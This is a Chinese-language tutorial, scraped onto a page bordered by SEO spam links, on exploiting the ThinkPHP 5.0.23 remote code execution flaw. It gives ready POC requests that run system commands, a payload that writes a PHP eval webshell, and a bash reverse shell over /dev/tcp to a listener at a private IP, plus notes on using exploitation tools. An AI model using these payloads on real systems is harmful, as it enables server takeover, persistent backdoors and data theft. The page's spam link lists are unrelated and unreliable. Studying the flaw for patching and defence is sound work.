当前位置: 首页 > news >正文

济南网站制作多少钱一个站长工具seo综合查询广告

济南网站制作多少钱一个,站长工具seo综合查询广告,编程代码入门教学,手机网站报名链接怎么做文章目录 一、什么是框架?二、导致框架漏洞原因二、使用步骤三、ThinkPHP介绍四、Thinkphp框架特征五、Thinkphp5.0.23 远程代码执行1、漏洞影响范围2、漏洞成因 六、POC数据包Windows下的Linux下的 七、漏洞手工复现1、先Burp抓包,把抓到的请求包发送到…

文章目录

  • 一、什么是框架?
  • 二、导致框架漏洞原因
  • 二、使用步骤三、ThinkPHP介绍
  • 四、Thinkphp框架特征
  • 五、Thinkphp5.0.23 远程代码执行
    • 1、漏洞影响范围
    • 2、漏洞成因
  • 六、POC数据包
    • Windows下的
    • Linux下的
  • 七、漏洞手工复现
    • 1、先Burp抓包,把抓到的请求包发送到重放模块
    • 2、把数据包改成POST请求
    • 3、按照POC构造请求包,然后重放
    • 4、写入shell
    • 5、反弹shell
      • 1)建立监听
      • 2)发送POC请求包
      • 3)返回监听端查看,发现shell已经反弹回来了
  • 八、漏洞工具复现
    • 1、工具
    • 2、脚本
  • 九、扩展-反弹shell


一、什么是框架?

简言之,别人帮你建好了房子但尚未装修,你需要在别人设计好的户型里去装修,省去你搬砖的重复性操作。


二、导致框架漏洞原因

框架存在环境缺陷,使用了不安全的版本从而导致的。


二、使用步骤三、ThinkPHP介绍

------ ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。

------ 从数据来看,thinkphp 3系列版本的漏洞多是2016/2017年被爆出,而ThinkPHP 5系列版本的漏洞基本为2017/2018年被爆出,从2020年开始,ThinkPHP 6系列的漏洞也开始被挖掘。

------ 根据ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。
在这里插入图片描述


四、Thinkphp框架特征

  • 报错会出现以下样式的
    在这里插入图片描述
    在这里插入图片描述
  • 网站icon存在下面图标的
    在这里插入图片描述

五、Thinkphp5.0.23 远程代码执行

1、漏洞影响范围

版本是:
5.x < 5.1.31
Thinkphp 5.0.x<= 5.0.23

2、漏洞成因

------ 该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞


六、POC数据包

Windows下的

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]= id 
  • POC参数解析
    • _method=__construct 为了能够进入construct,从而覆盖变量
    • filter[]=system 覆盖变量
    • method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
    • s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
    • get[]=id 覆盖变量

Linux下的

_method=__construct&filter[]=system&method=get&get[]=pwd
  • GET请求的:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  • 写入shell
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

七、漏洞手工复现

1、先Burp抓包,把抓到的请求包发送到重放模块

在这里插入图片描述

2、把数据包改成POST请求

在这里插入图片描述
在这里插入图片描述

3、按照POC构造请求包,然后重放

这里就使用pwd命令来查看路径
在这里插入图片描述
在这里插入图片描述

4、写入shell

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > 1.php

在这里插入图片描述
在这里插入图片描述
这样子就写下来了。

5、反弹shell

POC(需进行url编码)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.188.177/9999+0>%261"

1)建立监听

在这里插入图片描述

2)发送POC请求包

在这里插入图片描述

3)返回监听端查看,发现shell已经反弹回来了

在这里插入图片描述


八、漏洞工具复现

1、工具

在这里插入图片描述
在这里插入图片描述

2、脚本

在这里插入图片描述
在这里插入图片描述

这里要注意,在windows操作时,要写入shell时,直接在cmd里面操作,控制台不会直接识别 < 、’ 、” 等特殊符号,这时就需要使用 ^ 来进行转义。

例如下面这个写入shell是无法执行的:
在这里插入图片描述
这时使用 ^ 来进行转义就可以识别了
在这里插入图片描述


九、扩展-反弹shell

  • 什么是反弹shell(reverse shell)?
    就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell差不多对应,本质上是网络概念的客户端与服务端的角色反转。

  • 为什么需要反弹shell?
    反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。


http://www.hrbkazy.com/news/25689.html

相关文章:

  • 股票查询网站模板 wordpress广东最新疫情
  • 兰溪高端网站建设公司百度数据查询
  • 建设银行网站不能登录密码错误2022十大热点事件及评析
  • 镇江企业网站制作广州推广优化
  • 如何快速推广一个网站志鸿优化设计答案
  • 广州网站优化方案百度学术官网
  • 搭建一个网上商城要多少钱青岛网络优化代理
  • 福州日语网站建设线上推广怎么做
  • 开个网站多少钱一年网站怎么快速排名
  • 免费做网站wxp114百度爱采购优化软件
  • wordpress 网站 seoseo搜索引擎优化总结报告
  • 2345网站登录成人短期就业培训班
  • c .net 做网站无锡网站建设seo
  • 网站首页标题设置seo排名优化培训怎样
  • 江苏建设教育协会网站企业邮箱域名
  • 如何添加网站代码武汉网站seo推广
  • 网络制作网站大数据营销专业
  • 烟台外贸网站建设百度seo推广计划类型包括
  • 长春网站制作允许吗北京seo网站管理
  • 网站开发如可使用支付宝台州关键词优化服务
  • 网站外链隐形框架2023重大新闻事件10条
  • 制作微网站公司十大广告公司排名
  • 网站建设客服回访话术大全做网站需要准备什么
  • c 做asp.net网站游戏推广员判几年
  • 邯郸做外卖网站的公司网上营销推广
  • 手机端网站开发流程中国疫情最新数据
  • 青岛网站建设多少钱重庆seo公司
  • 四川网站开发开发一个网站需要哪些技术
  • 传奇私服网站建设流程自动推广软件
  • 全国疫情中高风险地区白杨seo课程